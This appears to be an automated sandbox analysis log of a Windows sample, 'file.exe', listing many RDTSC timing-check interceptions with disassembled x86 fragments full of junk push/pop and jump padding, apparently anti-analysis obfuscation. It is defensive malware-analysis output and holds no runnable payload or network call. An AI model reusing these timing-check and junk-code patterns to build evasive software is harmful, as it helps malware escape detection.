Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11393EB second address: 113940A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jc 00007FB39CDCA226h 0x0000000f jns 00007FB39CDCA20Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113940A second address: 1139410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1138C40 second address: 1138C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1138F1D second address: 1138F21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1138F21 second address: 1138F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1138F2D second address: 1138F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113907E second address: 1139082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113B737 second address: 113B73D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113B73D second address: 113B75F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA210h 0x00000007 jl 00007FB39CDCA206h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007FB39CDCA20Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113B75F second address: 113B775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB39CE8BFCAh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113B775 second address: 113B799 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FB39CDCA214h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113B799 second address: 113B79F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113B79F second address: 113B7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113F453 second address: 113F47C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB39CE8BFDFh 0x00000008 jmp 00007FB39CE8BFD9h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FB39CE8BFC6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113F47C second address: 113F48B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113F48B second address: 113F4AD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB39CE8BFC6h 0x00000008 jnc 00007FB39CE8BFC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 ja 00007FB39CE8BFC6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a jnp 00007FB39CE8BFCEh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113F63F second address: 113F643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113F643 second address: 113F649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113F98B second address: 113F98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113F98F second address: 113F993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113F993 second address: 113F999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114340C second address: 1143424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FB39CE8BFD3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A2AF5 second address: 10A2B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FB39CDCA206h 0x0000000c popad 0x0000000d jmp 00007FB39CDCA213h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A2B19 second address: 10A2B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1149291 second address: 1149296 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1149438 second address: 114943C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114943C second address: 114944B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB39CDCA206h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114944B second address: 1149469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB39CE8BFC6h 0x0000000a jmp 00007FB39CE8BFD3h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1149469 second address: 114949D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007FB39CDCA206h 0x00000009 jmp 00007FB39CDCA216h 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jns 00007FB39CDCA206h 0x0000001a pushad 0x0000001b popad 0x0000001c jne 00007FB39CDCA206h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1149609 second address: 114960D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11498AA second address: 11498BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jns 00007FB39CDCA206h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11498BB second address: 11498BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11498BF second address: 11498EB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FB39CDCA20Ah 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 jo 00007FB39CDCA21Ch 0x0000001a jmp 00007FB39CDCA210h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE13E second address: 10EE1D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jmp 00007FB39CE8BFD4h 0x00000010 pop ecx 0x00000011 nop 0x00000012 mov edx, dword ptr [ebp+122D1C19h] 0x00000018 mov ebx, dword ptr [ebp+1247C1CCh] 0x0000001e call 00007FB39CE8BFCEh 0x00000023 mov edx, 133E82AAh 0x00000028 pop edi 0x00000029 add eax, ebx 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007FB39CE8BFC8h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 00000019h 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 mov dl, ch 0x00000047 mov ch, 59h 0x00000049 nop 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jo 00007FB39CE8BFC6h 0x00000053 jmp 00007FB39CE8BFD7h 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE1D0 second address: 10EE20A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB39CDCA216h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB39CDCA218h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE20A second address: 10EE24E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB39CE8BFD9h 0x0000000b popad 0x0000000c nop 0x0000000d push 00000004h 0x0000000f sub dword ptr [ebp+122D182Fh], esi 0x00000015 push eax 0x00000016 pushad 0x00000017 pushad 0x00000018 jmp 00007FB39CE8BFD1h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1149BD3 second address: 1149BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1149D85 second address: 1149D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1149D89 second address: 1149D8E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1149D8E second address: 1149D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 114A779 second address: 114A79C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 jl 00007FB39CDCA20Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1152859 second address: 115286C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB39CE8BFCAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A465A second address: 10A4669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 je 00007FB39CDCA206h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1150942 second address: 1150948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1150948 second address: 115094C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115094C second address: 115097B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 jmp 00007FB39CE8BFCDh 0x0000000d pop ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FB39CE8BFD4h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1150AB8 second address: 1150ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115105D second address: 115107A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115107A second address: 1151096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB39CDCA206h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FB39CDCA20Dh 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1151363 second address: 1151369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1151630 second address: 1151635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1151635 second address: 1151641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007FB39CE8BFC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1151980 second address: 1151986 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1151986 second address: 1151990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11521EE second address: 115220B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FB39CDCA206h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115220B second address: 115220F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115220F second address: 115223A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FB39CDCA20Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FB39CDCA211h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115223A second address: 115223E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 115250B second address: 1152525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CDCA216h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1152525 second address: 1152531 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007FB39CE8BFC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11571F2 second address: 11571FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1157376 second address: 115737A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11666C9 second address: 11666DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB39CDCA20Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116499E second address: 11649DA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB39CE8BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB39CE8BFCEh 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007FB39CE8BFCBh 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jc 00007FB39CE8BFD2h 0x00000021 js 00007FB39CE8BFC6h 0x00000027 jl 00007FB39CE8BFC6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116509B second address: 11650A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11650A1 second address: 11650A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11651F6 second address: 1165216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB39CDCA222h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB39CDCA212h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1165386 second address: 116538A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116538A second address: 1165390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1165390 second address: 11653C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB39CE8BFD1h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB39CE8BFD8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11653C1 second address: 11653C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11656A8 second address: 11656AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1169B02 second address: 1169B0F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1169B0F second address: 1169B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1169B14 second address: 1169B2D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007FB39CDCA206h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007FB39CDCA20Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116E3B6 second address: 116E3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116E3BB second address: 116E3D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA219h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116E3D8 second address: 116E3DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116E572 second address: 116E584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB39CDCA206h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116E6BB second address: 116E6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB39CE8BFC6h 0x0000000a jo 00007FB39CE8BFC6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB39CE8BFCEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117BDFD second address: 117BE02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117E3C0 second address: 117E3C8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1186CEE second address: 1186D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB39CDCA206h 0x0000000a pop edi 0x0000000b push ecx 0x0000000c jns 00007FB39CDCA206h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 js 00007FB39CDCA206h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118F030 second address: 118F03C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118F03C second address: 118F042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118F042 second address: 118F04A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118F04A second address: 118F052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118F052 second address: 118F056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118F056 second address: 118F05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 119222F second address: 1192246 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB39CE8BFCBh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1192246 second address: 119224A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 119224A second address: 1192253 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1192253 second address: 1192259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1192259 second address: 119225F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196E31 second address: 1196E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB39CDCA20Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196E3F second address: 1196E44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196E44 second address: 1196E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007FB39CDCA214h 0x0000000d push eax 0x0000000e jne 00007FB39CDCA206h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196F9D second address: 1196FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
